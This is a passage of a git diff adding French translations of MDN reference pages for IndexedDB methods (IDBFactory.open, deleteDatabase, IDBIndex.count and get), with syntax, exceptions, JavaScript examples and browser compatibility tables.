+<p><span class="idlInterface"><span class="idlMethod">Une version expérimentale permet de gérer des options (cf. ci-après) :</span></span></p>
+
+<pre class="syntaxbox">var <em>request</em> = <em>indexedDB</em>.deleteDatabase(nom, options);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom de la base de données qu'on souhaite supprimer. Tenter de supprimer une base de données qui n'existe pas ne déclenchera pas d'exception (contrairement à la tentative de suppression d'un magasin d'objets inexistant avec {{domxref("IDBDatabase.deleteObjectStore()")}} qui déclenchera bien une exception).</dd>
+ <dt><code>options</code> {{NonStandardBadge}}</dt>
+ <dd>Dans Gecko, à partir de <a href="/fr/Firefox/Releases/26">la version 26</a>, il est possible d'inclure un paramètre pour indiquer le stockage de la base. La valeur peut être <code>permanent</code> (la valeur par défaut) ou <code>temporary</code> si on souhaite supprimer une base de données qui fait partie d'une mémoire partagée.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Cette méthode renvoie un objet {{domxref("IDBOpenDBRequest")}} sur lequel seront déclenchés les évènements relatifs à la requête.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var DBDeleteRequest = window.indexedDB.deleteDatabase("toDoList");
+
+DBDeleteRequest.onerror = function(event) {
+  console.log("Erreur lors de la suppression de la base");
+};
+
+DBDeleteRequest.onsuccess = function(event) {
+  console.log("Suppression de la base réussie");
+
+  console.log(event.result); // undefined
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBFactory-deleteDatabase-IDBOpenDBRequest-DOMString-name', 'deleteDatabase()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#dom-idbfactory-deletedatabase", "deleteDatabase()")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24 (sans préfixe)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbfactory/index.html b/files/fr/web/api/idbfactory/index.html
new file mode 100644
index 0000000000..3d2356a76b
--- /dev/null
+++ b/files/fr/web/api/idbfactory/index.html
@@ -0,0 +1,109 @@
+---
+title: IDBFactory
+slug: Web/API/IDBFactory
+translation_of: Web/API/IDBFactory
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>L'interface <strong><code>IDBFactory</code></strong> fait partie de l'<a href="/fr/docs/Web/API/API_IndexedDB">API IndexedDB</a> et permet aux applications d'accéder à des bases de données de façon asynchrone. L'objet qui implémente cette interface  est <code>window.indexedDB</code>. Autrement dit, on créera et on accèdera à une base de données (voire on la supprimera) directement via cet objet plutôt qu'en utilisant l'objet <code>IDBFactory</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("IDBFactory.open")}}</dt>
+ <dd>Une méthode qui permet d'ouvrir une connexion à une base de données.</dd>
+ <dt>{{domxref("IDBFactory.deleteDatabase")}}</dt>
+ <dd>Une méthode qui permet de demander la suppression d'une base de données.</dd>
+ <dt>{{domxref("IDBFactory.cmp")}}</dt>
+ <dd>Une méthode qui compare deux clés et renvoie un résultat qui indique laquelle est la plus grande.</dd>
+ <dt>{{domxref("IDBFactory.databases")}}</dt>
+ <dd>Une méthode qui répertorie toutes les bases de données disponibles, y compris leurs noms et leurs versions.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on effectue une requête sur une base de données et on gère les cas de succès et d'erreur. Vous pouvez consulter un exemple complet sur <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">notre application To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">voir l'exemple en <em>live</em></a>).</p>
+
+<pre class="brush:js;highlight:[10]">var note = document.querySelector("ul");
+
+// Dans la ligne suivante, inclure les préfixes des
+// implémentations à tester
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// attention à ne pas utiliser "var indexedDB = ..."
+// si on n'est pas dans une fonction
+
+// On pourra éventuellement avoir besoin de références
+// envers les objets window.IDB* :
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange;
+// (Mozilla n'a jamais préfixé ces objets,
+// il n'est pas nécessaire d'écrire window.mozIDB*)
+
+// On ouvre la version 4 de notre base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// On ajoute ensuite les gestionnaires d'évènements
+// pour gérer le succès ou l'échec de l'ouverture
+// de la base de données
+DBOpenRequest.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;Erreur lors du chargement de la base.&lt;/li&gt;';
+};
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Base de données initialisée.&lt;/li&gt;';
+
+  // store the result of opening the database in the db
+  // variable. This is used a lot later on, for opening
+  // transactions and suchlike.
+  db = DBOpenRequest.result;
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB", "#idl-def-IDBFactory", "IDBFactory")}}</td>
+   <td>{{Spec2("IndexedDB")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#factory-interface", "IDBFactory")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 3", "#factory-interface", "IDBFactory")}}</td>
+   <td>{{Spec2("IndexedDB 3")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.IDBFactory")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbfactory/open/index.html b/files/fr/web/api/idbfactory/open/index.html
new file mode 100644
index 0000000000..5c6ca281ea
--- /dev/null
+++ b/files/fr/web/api/idbfactory/open/index.html
@@ -0,0 +1,154 @@
+---
+title: IDBFactory.open()
+slug: Web/API/IDBFactory/open
+tags:
+  - API
+  - IDBFactory
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBFactory/open
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>open()</code></strong> de l'interface {{domxref("IDBFactory")}} lance une requête pour ouvrir une <a href="/fr/docs/Web/API/API_IndexedDB#Se_connecter_à_la_base_de_données">connexion à une base de données</a>.</p>
+
+<p>La méthode renvoie immédiatement un objet {{domxref("IDBOpenDBRequest")}} puis effectue l'opération d'ouverture de façon asynchrone. Si l'opération réussit, un évènement <code>success</code> sera éms sur l'objet <code>IDBOpenDBRequest</code> renvoyé par la méthode, et la propriété <code>result</code> de l'évènement aura la valeur de l'objet {{domxref("IDBDatabase")}} associé à la connexion.</p>
+
+<p>Si une erreur se produit lors de la connexion, un évènement <code>error</code> sera émis sur l'objet <code>IDBOpenDBRequest</code> renvoyé par la méthode.</p>
+
+<p>Cette méthode peut également émettre les évènements <code>upgradeneeded</code>, <code>blocked</code> ou <code>versionchange</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La syntaxe standard est la suivante :</p>
+
+<pre class="syntaxbox">var <em>IDBOpenDBRequest</em> = <em>indexedDB</em>.open(<em>nom</em>);
+var <em>IDBOpenDBRequest</em> = <em>indexedDB</em>.open(<em>nom</em>, <em>version</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom de la base de données qu'on souhaite ouvrir.</dd>
+ <dt><code>version</code> {{optional_inline}}</dt>
+ <dd>Paramètre optionnel qui représente la version de la base de données qu'on veut ouvrir. Si ce paramètre n'est pas fourni et que la base de données existe, une connexion sera ouverte sans changer la version de la base de données. Si ce paramètre n'est pas fourni est que la base de données n'existe pas, elle sera créée avec une version <code>1</code>.</dd>
+</dl>
+
+<h4 id="Objet_options_expérimental_de_Gecko">Objet options expérimental de Gecko</h4>
+
+<dl>
+ <dt><code>options</code> (<code>version</code> et <code>storage</code>) {{optional_inline}} {{deprecated_inline}}</dt>
+ <dd>Dans Gecko, à partir de <a href="/fr/Firefox/Releases/26">la version 26</a>, il est possible de passer en paramètre un objet <code>options</code> non standard, qui contienne le numéro de version de la base de données (équivalent donc au paramètre <code>version</code> définit ci-avant), et également une valeur <code>storage</code> qui décrit si on souhaite utiliser un stockage permanent (avec la valeur <code>persistent</code>) ou un stockage temporaire (avec la valeur <code>temporary</code>).
+ <div class="warning"><strong>Attention :</strong> l’attribut <code>storage</code> est déprécié et sera prochainement retiré de Gecko. Vous devriez utiliser {{domxref("StorageManager.persist()")}} à la place pour obtenir un stockage persistant.</div>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Vous pouvez consulter l'article <a href="/fr/docs/Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria">les limites de stockage du navigateur et les critères d'éviction</a> pour en savoir plus sur les différents types de stockage disponibles et la façon dont Firefox gère les données côté client.</p>
+</div>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBOpenDBRequest")}} sur lequel sont déclenchés les différents évènements liés à cette requête.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut lever une {{domxref("DOMException")}} de type suivant :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>La valeur de version est zéro ou un nombre négatif ou n’est pas un nombre.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voici un exemple d'ouverture de la base de données <code>toDoList</code> en utilisant la syntaxe standard et le paramètre <code>version</code> :</p>
+
+<pre class="brush: js">var request = window.indexedDB.open("toDoList", 4);</pre>
+
+<p>Dans le fragment de code qui suit, on effectue une requête pour ouvrir une base de données et on inclut des gestionnaires d'évènements pour gérer la réussite ou l'échec de l'ouverture. Pour consulter un exemple fonctionnel complet, vous pouvez étudier notre application <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">cf. l'exemple <em>live</em></a>).</p>
+
+<pre class="brush:js">var note = document.querySelector("ul");
+
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// NE PAS utiliser "var indexedDB = ..." si on n’est pas dans une fonction.
+// On pourrait avoir besoin de références vers quelques objets window.IDB* :
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange;
+// Mozilla n’a jamais préfixé ces objets, donc on n’a pas besoin de window.mozIDB*
+
+// On ouvre la version 4 de la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// On ajoute deux gestionnaires d'évènements
+// Le premier utilisé en cas d'échec
+DBOpenRequest.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;Erreur lors du chargement de la base.&lt;/li&gt;';
+};
+
+// Et le second en cas de réussite
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Base de données initialisée.&lt;/li&gt;';
+
+  // On stocke le résultat de l'ouverture dans la
+  // variable db qui sera utilisée par la suite
+  // pour d'autres opérations
+  db = DBOpenRequest.result;
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBFactory-open-IDBOpenDBRequest-DOMString-name-unsigned-long-long-version', 'open()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#dom-idbfactory-open", "open()")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>La page de compatibilité sur cette table est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data" lang="en-US">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></p>
+</div>
+
+<p>{{Compat("api.IDBFactory.open")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbindex/count/index.html b/files/fr/web/api/idbindex/count/index.html
new file mode 100644
index 0000000000..7571096b3e
--- /dev/null
+++ b/files/fr/web/api/idbindex/count/index.html
@@ -0,0 +1,218 @@
+---
+title: IDBIndex.count()
+slug: Web/API/IDBIndex/count
+tags:
+  - API
+  - IDBIndex
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBIndex/count
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>count()</code></strong>, rattachée à l'interface {{domxref("IDBIndex")}}, renvoie un objet {{domxref("IDBRequest")}} et, dans un <em>thread</em> séparé, renvoie le nombre d'enregistrements contenu dans un intervalle de clé.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>request</em> = <em>monIndex</em>.count();
+var <em>request</em> = <em>monIndex</em>.count(<em>cle</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cle</code> {{optional_inline}}</dt>
+ <dd>La clé ou l'intervalle de clé qui définit les enregistrements qu'on souhaite compter.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} sur lequel seront déclenchés les différents évènements relatifs à l'opération.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher différents types d'exceptions :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>La transaction associée à cet index est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>
+    <p>La clé ou l'intervalle de clé fourni possède une clé invalide.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>L'index a été supprimé ou retiré.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on ouvre une transaction et un magasin d'objets puis on récupère l'index <code>lName</code> depuis une base de données de contacts. Ensuite, on ouvre un curseur simple sur cet index grâce à la méthode {{domxref("IDBIndex.openCursor")}} (ce qui fonctionne comme si on ouvrait un curseur sur le magasin d'objets avec {{domxref("IDBObjectStore.openCursor")}} sauf que les enregistrements sont ici triés selon l'index plutôt que selon la clé primaire).</p>
+
+<p><code>myIndex.count()</code> est alors utilisé afin de compter le nombre d'enregistrements dans l'index et le résultat de la requête est affiché dans la console au travers du gestionnaire d'évènements pour la réussite (<code>onsuccess</code>).</p>
+
+<p>Efin, on parcourt chaque enregistrement pour l'insérer dans un tableau HTML. Pour consulter un exemple fonctionnel complet, vous pouvez vous référer à notre dépôt <a href="https://github.com/mdn/IDBIndex-example">IDBIndex-example</a> (<a href="https://mdn.github.io/IDBIndex-example/">cf. la démonstration <em>live</em></a>).</p>
+
+<pre class="brush: js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  var countRequest = myIndex.count();
+  countRequest.onsuccess = function() {
+    console.log(countRequest.result);
+  }
+
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Éléments affichés.');
+    }
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<dl>
+</dl>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBIndex-count-IDBRequest-any-key', 'count()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#dom-idbindex-count", "count()")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24 (sans préfixe)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbindex/get/index.html b/files/fr/web/api/idbindex/get/index.html
new file mode 100644
index 0000000000..2dfbd523c7
--- /dev/null
+++ b/files/fr/web/api/idbindex/get/index.html
@@ -0,0 +1,190 @@
+---
+title: IDBIndex.get()
+slug: Web/API/IDBIndex/get
+translation_of: Web/API/IDBIndex/get
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<div>
+<p>La méthode <strong><code>get()</code></strong> de l'interface {{domxref("IDBIndex")}} fait une requête ({{domxref("IDBRequest")}}) pour renvoyer le premier enregistrement correspondant à la clé ou l'intervalle de clé {{domxref("IDBKeyRange","")}} du magasin d'objet suivant l'index.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var request = myIndex.get(key);</pre>
+
+<h2 id="Paramètre">Paramètre</h2>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd>la clé ou l'intervalle de clé ({{domxref("IDBKeyRange")}}) de l'enregistrement dont on cherche la valeur.</dd>
+</dl>
+
+<h2 id="Valeur_de_retour">Valeur de retour</h2>
+
+<dl>
+ <dt>Une requête ({{domxref("IDBRequest")}})</dt>
+ <dd>La propriété "result" ({{domxref("IDBRequest.result")}}) de cette requête renvoie en cas de succès le premier enregistrement correspondant à la clé ou à l'intervalle de clé. Le résultat contient l'enregistrement { key: la clé, value: un_clone_structuré_de_la_valeur }.</dd>
+</dl>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<dl>
+ <dt><code>TransactionInactiveError</code></dt>
+ <dd>Cette exception ( {{domxref("DOMException")}}) est levée si la transaction ({{domxref("IDBTransaction")}}) dont dépend l'accès ({{domxref("IDBObjectStore")}}) au magasin d'objet de cet index est inactive.</dd>
+ <dt><code>DataError</code></dt>
+ <dd>Cette exception ({{domxref("DOMException")}}) est levée si la clé ou l'intervalle de clé ({{domxref("IDBKeyRange")}}) est invalide.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Cette exception ({{domxref("DOMException")}}) est levée si l'index à été supprimé.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant on ouvre une transaction puis un magasin d'objet et enfin l'index <code>lName</code>.</p>
+
+<p>Le code <code>myIndex.get('Bungle')</code> renvoie une requête qui cherche sur l'index un enregistrement dont la clé <code>lName</code> est <code>Bungle</code>. En cas de sucés le résultat de la requête qui contient l'enregistrement est affiché sur la console.</p>
+
+<p>Finalement, on itère sur tous les enregistrements pour en insérer les données dans un tableau HTML. En utilisant la méthode {{domxref("IDBIndex.openCursor")}} qui travaille de la même façon que la méthode {{domxref("IDBObjectStore.openCursor")}} de l'accès ({{domxref("IDBObjectStore")}}) au magasin d'objet sauf que les enregistrements sont renvoyés dans l'ordre de l'index et non celui du magasin d'objet.</p>
+
+<pre class="brush:js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+
+  //ouvre un transaction
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  //accés au magasin d'objet
+  var objectStore = transaction.objectStore('contactsList');
+
+  //on récupère l'index
+  var myIndex = objectStore.index('lName');
+  //requête de recherche
+  var getRequest = myIndex.get('Bungle');
+  //en cas de succès
+  getRequest.onsuccess = function() {
+    console.log(getRequest.result);
+  }
+
+  //un curseur qui itère sur l'index
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
